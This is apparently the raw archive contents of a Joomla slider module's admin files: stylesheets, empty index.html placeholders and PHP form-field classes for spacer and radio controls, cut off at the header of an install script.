.intro{display:block;clear:both;width:98%;margin:0;vertical-align:top;padding:0;border-radius:5px;font-weight:normal;text-align:justify;color:#4d4d4d;line-height:24px;font-size:14px;}			
.intro h2 {line-height: 120%; clear:both;font-size:25px;margin:0 8px 23px; padding:15px 0px 24px 10px; color:#444; border-bottom: 1px solid #e0e0e0;box-shadow:0 1px 0 #fff;font-weight: normal;text-align:left;text-shadow:1px 2px 2px rgba(255,255,255,.7);}
.intro h2 span.pro {position:relative;font-size:8px;padding:3px 5px 3px;color:#fff;vertical-align:middle;top:0;margin-left:8px;width:auto;border-radius:3px;background-color:#767A83;font-style:normal;text-shadow:1px 1px 1px rgba(0,0,0,.1);white-space:nowrap;}
.intro h2 span.version {font-size:9px;font-family:Arial,sans-serif;line-height:18px;padding:3px 5px;color:#fff;vertical-align:middle;top:0;margin-left:7px;position:relative;width:auto;border-radius:3px;background-color:#5995C1;font-style:normal;text-shadow:1px 1px 1px rgba(0,0,0,.1);white-space:nowrap;}
.intro h4 {padding:10px 9px 8px 12px;margin:15px 10px 1px;vertical-align:top;font-size:19px;line-height:140%;color:#888;font-weight:normal;border-bottom: 1px solid #e3e3e3;box-shadow:0 1px 0 rgba(255,255,255,.7);}
.intro p{margin:0 22px 10px;line-height:160%;font-size:110%;text-align:left;}
.intro div.license{border-top:1px solid #e0e0e0;box-shadow:inset 0 1px 0 #fff;margin:30px 20px 20px;padding:26px 3px 15px;line-height:160%;font-size:110%;text-align:left;}
.intro div.license .title,.intro div.license .getmore {line-height:160%;font-size:110%;text-align:left;}
.intro p a,.intro div.license .getmore a {color:#5995C1;}
.intro p a:hover,.intro div.license .getmore a:hover {color: #4784A5;text-decoration: none;}
.intro div.license .title span.pro {position:relative;font-size:8px;padding:2px 4px 2px;color:#fff;vertical-align:middle;top:0;margin-left:7px;width:auto;border-radius:3px;background-color:#767A83;white-space:nowrap;font-style:normal}
.intro div.license .title small{font-size:9px;font-family:Arial,sans-serif;line-height:18px;padding:2px 5px;color:#fff;vertical-align:middle;top:-1px;margin-left:7px;position:relative;width:auto;border-radius:3px;background-color:#5995C1;white-space:nowrap;font-style:normal}
.intro div.template_thumbnail{box-shadow:none;border:0;padding:5px}
.intro div.template_thumbnail img{background:transparent;float:right;padding:10px 12px 7px 10px}

.intro ul {margin:10px 0 0 27px;padding:10px 22px;list-style-type:none;text-indent:-1.15em;text-align:left}
.intro ul li {font-size:14px;padding: 3px 3px;margin: 0 auto;list-style: none;}
.intro ul.icons li [class^="fa fa-"], .intro ul.icons li [class^="icomoon-"], ul.icons li [class*=" fa-"] {display: inline-block;}
.intro ul li i{padding:0;}
.intro ul li i:before{margin: 0 4px 0;padding: 1px 3px;}
.intro ul li i.fa-check-square-o{color:#888}


.control-group.fullwidth,
.control-group .control-label.fullwidth {width:100%;text-align:left;}
.control-group .control-label.fullwidth label {box-shadow:none;}
.control-group .control-label.aplabel {width:30%;display:block;margin:0 auto;padding:0;float:left;background:#f1f1f1;}
.control-group .control-label.aplabel label {display:table;text-align:right;float:right;margin:0 auto;box-shadow:inset -2px 0 0px #ccc;padding:4px 12px 5px 5px}

.control-group .controls.apcontrols {width:67%;margin:0 0 0 2%;float:left;display:inline-block;text-align:left;}

/* apspacer */
.apspacer_divider {background:#748587;color:#fff;font-size:14px;border-radius:3px;font-weight:bold;line-height:22px;margin:4px auto 20px;padding:3px 15px 4px;text-shadow:1px 1px 2px rgba(0,0,0,0.3);text-align:left;}
.apspacer_divider h4 {font-size:15px;margin:0;line-height:22px;padding:0;text-shadow:1px 1px 2px rgba(0,0,0,0.3);text-align:left;}
.apspacer_divider i {float:right;margin-top:4px;font-size:11px;line-height:13px;font-weight:normal;}

.hideshowspacer div .apspacer_divider{margin:4px auto 10px;}
.hideshowspacer .description {
	border: 1px solid rgba(44,44,44,.1);
	border-radius: 4px;
	clear: both;
	display: block;
	margin: 0 auto;
	padding: 10px 15px;
	background-color: #fff;
}

/* little tweek of #assignment */
#assignment .control-group .control-label.aplabel{width:15%;}
#assignment .control-group label{background:transparent;text-align:right;}
#assignment .control-group .controls.apcontrols{width:83%;}

/* Select Source (radios) */
.controls fieldset#jform_params_display_form label.display_form {padding:4px 15px;margin-top:-3px;line-height:24px;}
.controls fieldset#jform_params_display_form label.display_form img {margin:-3px 5px 0 0;opacity:.7;}
.controls fieldset#jform_params_display_form label.display_form.active img,
.controls fieldset#jform_params_display_form label.display_form:hover img {opacity:1;}
.controls fieldset#jform_params_display_form label.display_form i {margin:-2px 5px 0 0;font-size:17px;line-height:17px;color:#777;}
.controls fieldset#jform_params_display_form label.display_form:hover i {color:#444;}
.controls fieldset#jform_params_display_form label.display_form.active i {color:#FFF}
.controls fieldset#jform_params_display_form label.display_form.active {background-color:#6D7C7E;box-shadow: none;border-top: 1px solid #656F74;border-bottom: 1px solid #535F60;border-right: 1px solid #656F74;border-left: 1px solid #656F74;}
/* Text Align (radios) */
.controls fieldset.text-align label {padding:0;line-height:26px;margin:-1px 0 0 0;}
.controls fieldset.text-align label img {margin:-3px 5px 0 0;opacity:.7;}
.controls fieldset.text-align label.active img,
.controls fieldset.text-align label:hover img {opacity:1;}
.controls fieldset.text-align label i {margin:-3px 0 0;padding:1px 30px;font-size:14px;line-height:24px;color:#777;vertical-align:middle;}
.controls fieldset.text-align label:hover i {color:#444;}
.controls fieldset.text-align label.active i {color:#FFF}
.controls fieldset.text-align label.active{background-color:#748587;box-shadow:none;border-top:1px solid #656f74;border-bottom:1px solid #6D7C7E;border-right:1px solid #656f74;border-left:1px solid #656f74}

.controls fieldset.radios-align label {padding:0 12px;line-height:28px;margin:-1px 0 0 0;}
.controls fieldset.radios-align label img {margin:-3px 5px 0 0;opacity:.7;}
.controls fieldset.radios-align label.active img,
.controls fieldset.radios-align label:hover img {opacity:1;}
.controls fieldset.radios-align label i {margin:-2px 0 0;padding:0 2px;font-size:14px;line-height:28px;color:#777;vertical-align:middle;}
.controls fieldset.radios-align label:hover i {color:#444;}
.controls fieldset.radios-align label.active i {color:#FFF}
.controls fieldset.radios-align label.active{background-color:#677476;box-shadow:none;border-top:1px solid #656f74;border-bottom:1px solid #6D7C7E;border-right:1px solid #656f74;border-left:1px solid #656f74}

/* Theme selectors */
div.theme, div.theme .control-label, div.theme .controls {width:100%;}
div.theme .controls {margin:0 auto;float:none;padding:0;clear:both;background: url('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI1IiBoZWlnaHQ9IjUiPg0KPHJlY3Qgd2lkdGg9IjUiIGhlaWdodD0iNSIgZmlsbD0iI2YwZjBmMCI+PC9yZWN0Pg0KPHBhdGggZD0iTTAgNUw1IDBaTTYgNEw0IDZaTS0xIDFMMSAtMVoiIHN0cm9rZT0iI2Y3ZjdmNyIgc3Ryb2tlLXdpZHRoPSIxIj48L3BhdGg+DQo8L3N2Zz4=') center center repeat;box-shadow:inset 1px 0 0 #e7e7e7, inset -1px 0 0 #e7e7e7; }
div.theme .control-label {background:#e3e3e3;color:#395E71;box-shadow:none;line-height:28px;padding:1px 14px 1px 0;margin:0 auto 3px}
div.theme .control-label label {display:table;text-align:center;float:none;margin:0 auto;box-shadow:none;font-weight:bold;line-height:28px;padding:0 10px;}
div.theme label span.fa {margin-left:7px;color:#588EAB;}
.marker{display:block;position:absolute;color:#5995C1;margin:0;width:152px;height:130px;}
.marker i.icon-ok:before{font-family:"FontAwesome";position:absolute;content:"\f00c";border-radius:50%;right:1px;bottom:9px;font-size:20px;line-height:20px;color:#5995C1;text-shadow:1px 1px 2px rgba(0,0,0,.2);margin:0;padding:3px;float:right;font-weight:normal}
/* Theme selectors (making it centered) */
fieldset.label-img {margin:0 auto;padding:10px 0;text-align:center;float:none;display:table;width:99%;}
fieldset.label-img label img {opacity:0.75;-webkit-transition:all .3s ease-in-out;-moz-transition:all .7s ease-in-out;-o-transition:all .3s ease-in-out;}
fieldset.label-img label:hover img,
fieldset.label-img label .select.highlight img {opacity:1}
fieldset.label-img label{margin:0 12px 0 0;padding:0;text-align:left;float:none;display:inline-table;}
fieldset.label-img label .select {padding:9px;margin:0 auto 0;border:2px solid transparent;border-radius:2px;}
fieldset.label-img label .select img {padding:5px;background:rgba(255,255,255,.5);border:1px solid #c5c5c5;}
fieldset.label-img label .select.highlight {display:block;background:#e8e8e8;background:rgba(77,77,77,.1);position:relative;-webkit-transition:all .7s ease;-moz-transition:all .7s ease;-o-transition:all .7s ease;border:2px solid #5995C1;z-index:1}
fieldset.label-img label .select.highlight img {background:#f9f9f9;border:1px solid #b0b0b0;}
fieldset.label-img label .select p {text-align:center;padding:0;margin:0 auto;}
fieldset.label-img label .select p.desc {font-family:"aller",Arial, sans-serif;-webkit-font-smoothing:antialiased;text-align:center;clear:both;padding:0;margin:10px auto 0;font-size:110%;color:#777;}


fieldset.label-img label .select p.desc span.nmbr {
	background: #bbb;
	font-size: 100%;
	text-align: center;
	display: inline-table;
	margin: -1px 0 0 -1px;
	width: 23px;
	height: 22px;
	line-height: 20px;
	-webkit-border-radius:50%;
	-moz-border-radius:50%;
	border-radius:50%;
	box-shadow:0 1px 3px rgba(255,255,255,.7);
	color: #FFF;
	text-shadow:1px 1px 1px rgba(0,0,0,.2);
}

fieldset.label-img label .select.highlight p.desc {color:#222;text-shadow:1px 1px 0px rgba(255,255,255,.5);}
fieldset.label-img label .select.highlight p.desc  span.nmbr {font-weight:normal;background:#777;}

/* Error message */
.control-group p.error {padding: 2px;line-height: 22px;text-align: center;background-color: #ED352C;color: #fff;}


/* Simple Spacer */
.control-group .control-label .spacer label {text-indent:-9999em;height:1px;padding:0;background:#ccc;margin:3px auto;width:100%;border:none;border-bottom:1px solid white;}

.btn-group {margin-top:-4px;}
.btn-group.btn-group-yesno label {line-height:20px!important;}
.btn-group .fa  {background:transparent;font-size:14px;line-height:26px;box-shadow:none;vertical-align:middle;margin:-7px 3px -3px;-webkit-font-smoothing: antialiased;-moz-osx-font-smoothing: grayscale;} 
.btn-group [class*='fa-align'] {padding:2px 29px 2px;line-height:26px;margin:-7px -26px;} 

/* Accordion */
a.sub-heading {color:#eee;text-decoration:none;font-weight: bold;line-height:18px;}
a.sub-heading:hover {color:#fff;}
.apaccordion .sub-heading-info {line-height:22px;text-decoration: none;}
.control-label label .apaccordion a.sub-heading i {-webkit-transition: all 0.3s ease-in-out;-moz-transition: all 0.3s ease-in-out;-o-transition: all 0.3s ease-in-out;-ms-transition: all 0.3s ease-in-out;}
.apaccordion a.sub-heading {color:#eee;text-decoration:none;font-weight:bold;line-height:20px;-webkit-transition: all 0.3s ease-in-out;-moz-transition: all 0.3s ease-in-out;-o-transition: all 0.3s ease-in-out;-ms-transition: all 0.3s ease-in-out;}
.apaccordion a.sub-heading:hover {color:#fff;text-decoration:none;}
.apaccordion .sub-heading-info i.icomoon-bootstrap,
.apaccordion .sub-heading-info i.fa-question-circle {float:left;margin-right:10px;}
.apaccordion .sub-heading-info i.icomoon-bootstrap {color: #DD6AEA;font-size: 16px;}
.apaccordion:hover .sub-heading-info i.icomoon-bootstrap {color: #EC96FE;}
.apaccordion .sub-heading-info i,
.apaccordion .accordion-toggle i {line-height:15px;}
.control-label label .apaccordion.white a.sub-heading {color:#777;text-shadow:1px 1px 1px rgba(0,0,0,.1);line-height:26px;}
.control-label label .apaccordion.white:hover a.sub-heading {color:#555;}
.control-label label .apaccordion.white a.sub-heading i {color:#999;text-shadow:1px 1px 1px rgba(0,0,0,.1);font-size:16px;line-height:20px;}
.control-label label .apaccordion.white:hover a.sub-heading i {color:#777;}
.control-label label .apaccordion.white .sub-heading-infotext {color:#555;text-shadow:none;border-top:1px solid rgba(0,0,0,.1);padding:20px 10px 5px;}
.control-label.white {background:white;box-shadow:0 1px 3px -2px #888;}
.control-label label .apaccordion.white a.sub-heading i.fa-question-circle {font-size:16px;line-height:18px;color:#7BCD32}
.control-label label .apaccordion.white:hover a.sub-heading i.fa-question-circle {color: #6CB42C;}
.sub-heading-infotext {padding:15px 0 15px;border-top:1px solid rgba(255,255,255,.3);margin-top:5px;font-weight:normal;}

/* Icons */
.fa-plus-square, .icon-help {float:right;margin-top:5px;font-size:22px;font-weight:normal;}
	
/* some ICOMOON icons */	
@font-face {
  font-family: 'icomoon';
  src:  url('../fonts/icomoon/icomoon.eot?adg44x');
  src:  url('../fonts/icomoon/icomoon.eot?adg44x#iefix') format('embedded-opentype'),
    url('../fonts/icomoon/icomoon.ttf?adg44x') format('truetype'),
    url('../fonts/icomoon/icomoon.woff?adg44x') format('woff'),
    url('../fonts/icomoon/icomoon.svg?adg44x#icomoon') format('svg');
  font-weight: normal;
  font-style: normal;
}
[class^="icomoon-"],[class*=" icomoon-"]{font-family:'icomoon'!important;speak:none;font-style:normal;font-weight:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}
.icomoon-home:before{content:"\e605"}
.icomoon-newspaper:before{content:"\e600"}
.icomoon-paint-format:before{content:"\e601"}
.icomoon-image:before{content:"\e606"}
.icomoon-stack:before{content:"\e602"}
.icomoon-spinner:before{content:"\e611"}
.icomoon-spinner2:before{content:"\e612"}
.icomoon-spinner3:before{content:"\e613"}
.icomoon-link:before{content:"\e607"}
.icomoon-paypal:before{content:"\e60f"}
.icomoon-sharable:before{content:"\e608"}
.icomoon-tools:before{content:"\e609"}
.icomoon-palette:before{content:"\e603"}
.icomoon-newspaper2{font-size:110%;line-height:16px;vertical-align:middle;margin-right:11px!important;margin-left:-1px!important;}
.icomoon-newspaper2:before {content: "\e614";font-size:110%;}
.icomoon-microphone:before{content:"\e610"}
.icomoon-gauge:before{content:"\e60a"}
.icomoon-brush:before{content:"\e60b"}
.icomoon-statistics:before{content:"\e60c"}
.icomoon-pie:before{content:"\e60d"}
.icomoon-info:before{content:"\e60e"}
.icomoon-bootstrap:before{content:"\e604"}	

/* ----- Scroll to Top ----- */
a#scroll-top{opacity:0;-moz-opacity:0;-webkit-opacity:0;filter:alpha(opacity=0);visibility:hidden;position:fixed;right:-20px;bottom:40px;height:40px;width:40px;line-height:40px;background:#aaa;background:rgba(0,0,0,0.3);-webkit-transition: all .5s cubic-bezier(0.405, 0.020, 0.325, 0.950) .2s;-moz-transition: all .5s cubic-bezier(0.405, 0.020, 0.325, 0.950) .2s;-o-transition: all .5s cubic-bezier(0.405, 0.020, 0.325, 0.950) .2s;transition: all .5s cubic-bezier(0.405, 0.020, 0.325, 0.950) .2s;}
a#scroll-top.open{right:10px;opacity:0.8;-moz-opacity:0.8;-webkit-opacity:0.8;filter:alpha(opacity=80);visibility:visible;}
a#scroll-top:hover{background:rgba(0,0,0,.4);opacity:1;-moz-opacity:1;-webkit-opacity:1;filter:alpha(opacity=100);}
a#scroll-top i{color:#fff;text-shadow:0 1px 2px rgba(0,0,0,.3);height:40px;width:40px;padding-left:11px;font-size:135%}

/* Responsive */	
@media (max-width: 979px) {
	.container-fluid.container-main{padding:0;}
	#myTabContent, #myTabContent > div {clear:both;}
	.intro {width:97%;clear:both} 
	 #general div.span9{width:100%;margin:0 auto;clear:both;} 
	 #general .form-inline-header .control-group .controls input#jform_title {width:70%}
	 #general .span3 .form-vertical:first-child {margin-top:10px;padding-top:30px;border-top:1px solid #ccc;box-shadow:inset 0 1px 0px white;}
	 #general .span3 {width:95%;} 
	 #general .span3 .form-vertical .control-group {width:100%;} 
     #general .span3 .form-vertical .control-group .control-label{width:27%;display:inline;clear:none;text-align:right;}
	 #general .span3 .form-vertical .control-group .controls {width:70%;clear:none;display:inline;}
	 #general .span3 .form-vertical .control-group .controls select, 
	 #general .span3 .form-vertical .control-group .controls fieldset {width:38%;}
	.intro h1{padding: 16px 0 15px 0;margin:0 -10px 20px -10px;text-indent: 128px;}
	.intro p {margin: 0 10px 10px;} 
	.intro p.license {margin: 20px 5px 10px;}
	#aphelpModal {width:82%;height:80%;margin-left:-41%;margin-top:1%;}
	#aphelpModal .modal-body{max-height:60%;}
	.modal-btn {right:5%;}

}

@media (max-width: 767px) {
	#myTabTabs .copyright{bottom:0;clear:both;margin:15px auto;padding-top:20px;position:relative;}
	#myTabTabs li a{padding:10px 20px;}
	#myTabTabs li:first-child {margin-top:15px;}
	#content,.span3,.span6,.span9,
	#myTabTabs, #myTabContent,
	#general div.row-fluid > div, 
	#general .form-inline-header .control-group .controls input#jform_title {width:60%;position:relative;display:block;clear:both;width:100%;padding:0;margin:0;}
	.intro {width:100%;clear:both;margin:0;}
	.control-group .control-label.aplabel {width:40%;margin:0;padding:0;float:left; }
	.control-group .controls.apcontrols {width:55%;margin:0 0 0 2%;float:left;display:inline-block;text-align:left;}
	.modal-btn {float:right;clear:left;right:10px;top:-20px;margin:0 auto;padding:0;}
	#aphelpModal {width:80%;height:80%;margin-left:6%;}
	#aphelpModal .modal-body{max-height:60%;font-size: 95%;}

}	
@media (max-width: 480px) {
	#general .form-inline-header .control-group .control-label {width:100%;float:left;position:relative;margin-top:2px;}
	#general .form-inline-header .control-group .controls input#jform_title {position:relative;display:block;width:100%;}
	.control-group .control-label.aplabel{width:100%;margin: 1px 0 5px 0}
	.control-group .control-label.aplabel label{text-align:left;width:auto;float:left;margin:0 auto;}
	hr{background:red;}
	.control-group .controls.apcontrols{width:100%;margin: 1px 0 5px 0}
	.control-group .controls.apcontrols input{width:95%;}
	#general .span3 .form-vertical .control-group .controls select, 
	#general .span3 .form-vertical .control-group .controls fieldset {width:90%;}
}	
PK!���-mod_ap_smart_layerslider/admin/css/index.htmlnu&1i�<html>
<body>
</body>
</html>PK!0A^��4mod_ap_smart_layerslider/admin/css/jquery.gridly.cssnu&1i�
.gridly, .gridly > :not(.dragging) {
  -webkit-transition: all 0.4s ease-in-out;
  -moz-transition: all 0.4s ease-in-out;
  transition: all 0.4s ease-in-out;}
.gridly .dragging {z-index: 800;}

#loader {width:200px;height:130px;padding:10px;padding:1px 0 22px;}
#loader img {margin:15px 0 0 30px;}

.gridly {
	position: relative;
	width: 990px;
	margin: 0 auto;
	color: #D2A68A;
}

#apListImage {
	background-image: url('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI1IiBoZWlnaHQ9IjUiPg0KPHJlY3Qgd2lkdGg9IjUiIGhlaWdodD0iNSIgZmlsbD0iI2Q2ZDZkNiI+PC9yZWN0Pg0KPHBhdGggZD0iTTAgNUw1IDBaTTYgNEw0IDZaTS0xIDFMMSAtMVoiIHN0cm9rZT0iI2YwZjBmMCIgc3Ryb2tlLXdpZHRoPSIxIj48L3BhdGg+DQo8L3N2Zz4=');
	background-repeat: repeat;
	background-position: center center;
	margin: 20px auto 0;
	width: 100%;
	padding: 8px 0;
}
#apSort{
	display: table-cell;
	list-style: none outside none;
	margin: 0;
	padding: 0;
	position: relative;
}

.control-group.disabled, div.disabled, .control-label label.disabled {z-index:-1;cursor:context-menu}

.ap-img {border:1px solid #b3b3b3;border-radius:3px;cursor:move;padding:8px 0 0;margin:5px 0 0 15px;text-align:center;z-index:10;}
.ap-img:hover {border:1px solid #888;box-shadow:0 0 9px rgba(0,0,0,.55);}
.ap-img .brick-image {min-height:100px;padding:0;}
.ap-img .brick-image img {max-width:150px;max-height:100px;margin:0 auto;text-align:center;padding:0;}


div.control-group .control-label label[id^="jform_params_path_folder"]{position:relative;display:block;float:left;width:94.5%;margin:0;text-align:right;background:#f1f1f1;box-shadow:inset -2px 0 0px #ccc;padding:4px 12px 5px 5px}

.control-label-clone{width:30%;margin:0 20px 0 0;padding:0;float:left;position:relative;display:block;clear:both;}
.control-label-clone label{position:relative;display:inline-block;float:left;margin:0;text-align:right;background:#f1f1f1;box-shadow:inset -2px 0 0px #ccc;padding:4px 12px 5px 5px}

.brick.small{width:177px;height:125px;text-align:center;background:rgba(255,255,255,.85);}
.ap-img-btn {display:block;clear:both;width:100%;height:24px;background:rgba(0,0,0,.05);margin:0 auto;border-top:1px solid #d2d2d2;z-index:11;}
.ap-img-btn a {
	font-size:100%;
	width:88px;
	display: block;
	float:left;
	line-height: 210%;
	color: #777;
	text-decoration: none;
	-webkit-transition: all 0.25s ease-in-out;
    -moz-transition: all 0.25s ease-in-out;
    transition: all 0.25s ease-in-out;
}
.ap-img-btn a.edit {border-right:1px solid #d2d2d2;}
.ap-img-btn a.delete{}
.ap-img-btn a:hover {color:#555;background:#fff;text-decoration: none;}
.ap-img-btn a i {vertical-align:middle;font-size:16px;line-height:24px;margin-left:2px;margin-right:4px;}
.ap-img-btn a i.fa-pencil-square-o {
	color: #FF6F04;
}
.ap-img-btn a:hover i.fa-pencil-square-o {color: #DD5E00;}
.ap-img-btn a i.fa-times-circle {margin-top:-1px;color: #999;line-height:20px;}
.ap-img-btn a:hover i.fa-times-circle {color: #595959;}

	
div.no-item-image {border:1px solid #c0c0c0;padding:4px;margin:6px 3%;text-align:center;width:380px;}
div.no-item-image .no-image {background:#777;}
div.no-item-image .no-image .no-image-text {text-align:center; color:#fff;line-height:90px;box-shadow:inset 0 0 30px rgba(0,0,0,.3);text-shadow:1px 1px 2px #444;}
div.no-item-image .no-image .no-image-text i.fa {margin-left:7px;}

/* Edit Modal (apModal) */
#apModal {height:85vh;width:70%;margin-left:-35%;}
#apModal .modal-body{max-height:70vh;overflow: auto;overflow-y: scroll;-webkit-overflow-scrolling: touch;position: relative;}
#apModal .modal-header,
#apModal .modal-footer {background: url('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI1IiBoZWlnaHQ9IjUiPg0KPHJlY3Qgd2lkdGg9IjUiIGhlaWdodD0iNSIgZmlsbD0iI2Y3ZjdmNyI+PC9yZWN0Pg0KPHBhdGggZD0iTTAgNUw1IDBaTTYgNEw0IDZaTS0xIDFMMSAtMVoiIHN0cm9rZT0iI2YxZjFmMSIgc3Ryb2tlLXdpZHRoPSIxIj48L3BhdGg+DQo8L3N2Zz4=') center center repeat;}
#apModal .modal-header {margin:0 auto;border-radius:7px 7px 0 0;box-shadow:inset 0 -1px 0px white;}
#apModal .modal-header .modal-title {color:#777;}
#apModal .modal-header button.close {margin-top:5px;margin-bottom:-10px;}
#apModal .modal-footer {border-radius:0 0 7px 7px;box-shadow:inset 0 1px 1px white;bottom:0;}

#apModal .modal-body .control-group label.control-label-clone {width:25%;text-align:right;padding:7px;margin:0 8px 0 0;font-size:115%;}
#apModal .modal-body .control-group label.control-label-clone i{color:#999;font-size:90%;margin-left:3px}
#apModal .modal-body .control-group .controls{width:70%!important;margin:0;padding:0;}
#apModal .modal-body .control-group .controls input,
#apModal .modal-body .control-group .controls textarea {width:95%;padding:6px 8px;}
#apModal .modal-footer button {padding:5px 22px;min-width:13%;line-height:1.8;}
#apModal .modal-footer button i {font-size:90%;margin:0 -9px 0 8px;}
#apModal .modal-footer button.btn-custom {
  background-color: hsl(196, 35%, 30%) !important;
  background-repeat: repeat-x;
  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr="#427689", endColorstr="#315867");
  background-image: -khtml-gradient(linear, left top, left bottom, from(#427689), to(#315867));
  background-image: -moz-linear-gradient(top, #427689, #315867);
  background-image: -ms-linear-gradient(top, #427689, #315867);
  background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #427689), color-stop(100%, #315867));
  background-image: -webkit-linear-gradient(top, #427689, #315867);
  background-image: -o-linear-gradient(top, #427689, #315867);
  background-image: linear-gradient(#427689, #315867);
  border-color: #315867 #315867 hsl(196, 35%, 27.5%);
  color: #fff !important;
  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.16);
  -webkit-font-smoothing: antialiased;
}
#apModal .helper{
	font-size: 90%;
	color: #888;
	cursor: text;
	text-align: center;
}
#apModal .helper .icomoon-info {
	color: #E4B07C;
	font-size: 14px;
}
#apModal pre {text-align:left;cursor:text;color:#898989;}
#apModal pre:in-range {color:#555;}
#apModal .description-group {background:#f8f8f8;padding:20px 0 5px;border:1px solid #f0f0f0;border-radius:3px;}

@media (max-width: 1200px) {
  #apModal {max-height:90%;}
  #apModal .modal-body{max-height:80%;}
  #apModal .modal-body .control-group .controls textarea {height:65vh;}
}

@media (max-width: 767px) {
  #apModal {width:80%;height:90%;margin-left:6%;}
  #apModal .modal-body .control-group label.control-label-clone,
  #apModal .modal-body .control-group .controls {width:97%!important;text-align:left;}
  #apModal .modal-body .control-group label.control-label,
  #apModal .modal-body .control-group .controls input {width:95%;}
  #apModal .modal-body .control-group .controls textarea {width:95%;height:auto;margin-left:2%;}
}	
@media (max-width: 480px) {
  div.no-item-image {width:90%;text-align:center;}
}

PK!���BB+mod_ap_smart_layerslider/admin/apspacer.phpnu&1i�<?php
/**
 * @package 	apspacer.php
 * @author		Aplikko
 * @email		contact@aplikko.com
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2015 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// no direct access
defined('_JEXEC') or die;

jimport('joomla.form.formfield');

class JFormFieldAPSpacer extends JFormField {

	public $type = 'Apspacer';
	
	//Empty Label
    protected function getLabel(){return;}

	protected function getInput() {

		$html   = array();
        $class  = (string) $this->element['class'];
        $label  = '';
		$descirption = $this->element['description'];
		
	    $text = (!empty($this->element['label'])) ? (string) $this->element['label'] : '';
		$name = str_replace(array('jform[params]', '[', ']'),'',$this->name);
		$getidname = str_replace(array('jform[params]', ' ', '[', ']'),'',str_replace(' ' , '_', strtolower($this->name)));

		if($text != ''){
            $label .= '<div class="row-fluid"><div id="'.$getidname.'" class="'.(($text != '') ? 'apspacer_divider' : 'spacer').' span12"><span>'. JText::_($text).'</span>'.(($text != '') ? '<i class="fa fa-chevron-down"></i>' : '').'</div></div>';
        }
		
		if($class == 'hideshowspacer'){
            return '
			<div class="control-group '.$class.'">
			<div id="jform_params_'.$name.'-lbl" for="jform_params_'.$name.'""><div id="'.$getidname.'" class="'.(($text != '') ? 'apspacer_divider' : 'spacer').' span12"><span>'. JText::_($text).'</span>'.(($text != '') ? '<i class="fa fa-chevron-down"></i>' : '').'</div></div>
			'.(($descirption != '') ? '<div class="description">'. JText::_($descirption).'</div>' : '').'	
			</div>
			';
        }
		
        $html[] = $label;
        return implode('', $html);
	}

	public function renderField($options = array()) {
		return $this->getInput(); 
 	}
}
PK!�}�

*mod_ap_smart_layerslider/admin/apradio.phpnu&1i�<?php
/**
 * @package 	apradio.php
 * @author		Aplikko
 * @email		contact@aplikko.com
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2015 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// no direct access
defined('_JEXEC') or die;

JFormHelper::loadFieldClass('radio');

/**
 * Create Radio List Button. With the ability to show/hide sub-options.
 * Example xml:
 * <field
 * 	name="mod_ap_show_hide"
 * 	type="apradio"
 * 	default="1"
 * 	<option value="1" sub_fields="mod_yes_field_1,mod_yes_field_2">JYES</option>
 * 	<option value="0" sub_fields="m">JNO</option>
 * </field>
 */
class JFormFieldApradio extends JFormFieldRadio {

	/**
	 * The form field type.
	 *
	 * @var    string
	 */
	protected $type = 'Apradio';

	/**
	 * Active sub-fields.
	 * 
	 * @var		string
	 */
	protected $active_sub_fields = '';

	/**
	 * List of all sub-fields
	 * 
	 * @var		string
	 */
	protected $sub_fields_list = array();

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   11.1
	 */
	protected function getInput() {
		
		$doc = JFactory::getDocument();
        // css and js already loaded from apmod
		

		$html = parent::getInput();
		$this->onload_script();

		return $html;
	}

	/**
	 * Method to get the script onload
	 * 
	 * @return blank
	 */


	/**
	 * Override getOptions Method to get sub fields list.
	 *
	 * @return  array  The field option objects.
	 */
	protected function getOptions() {

		// Initialize variables.
		$options = array();

		foreach ($this->element->children() as $option) {

			// Only add <option /> elements.
			if ($option->getName() != 'option') {
				continue;
			}

			// Create a new option object based on the <option /> element.
			$tmp = JHtml::_('select.option', (string) $option['value'], trim((string) $option), 'value', 'text', ((string) $option['disabled'] == 'true')
			);

			// Set some option attributes.
			$tmp->class = (string) $option['class'];

			// Get sub_fields.
			$sub_fields = str_replace("\n", '', trim($option['sub_fields']));
			if (!empty($sub_fields)) {
				$this->sub_fields_list = array_merge($this->sub_fields_list, array((string) $option['value'] => $sub_fields));
			}

			// Check if it's selected
			if ($option['value'] == $this->value) {
				$this->active_sub_fields = $sub_fields;
			}

			// Set some JavaScript option attributes.
			$onclick = !empty($option['onclick']) ? (string) $option['onclick'] : '';
			$tmp->class .= $this->element['name']; // Add class to sub fileds if not empty

			// Add default onclick
			$onclick .= 'ap_HideOptions(ap_subfield_' . $this->element['name'] . ');';
			$onclick .= 'ap_ShowOptions('.$sub_fields.');';

			$tmp->onclick = $onclick;

			// Add the option object to the result set.
			$options[] = $tmp;
		}

		reset($options);

		return $options;
	}
		private function onload_script() {
		?>
		<script type="text/javascript">
		jQuery(document).ready(function(){
			var ap_subfield_<?php echo $this->element['name']; ?> = "<?php echo implode(',', $this->sub_fields_list); ?>";
		        jQuery(window).load(function(){ 
				ap_HideOptions(ap_subfield_<?php echo $this->element['name']; ?>);
				ap_ShowOptions('<?php echo $this->active_sub_fields; ?>');  
			});
});
		</script>
		<?php
		return;
	}

}PK!���)mod_ap_smart_layerslider/admin/index.htmlnu&1i�<html>
<body>
</body>
</html>PK!F�b�!�!0mod_ap_smart_layerslider/admin/installscript.phpnu&1i�<?php
/**
 * @package 	installscript.php
 * @author		Aplikko
 * @email		contact@aplikko.com
 * @website		http://aplikko.com
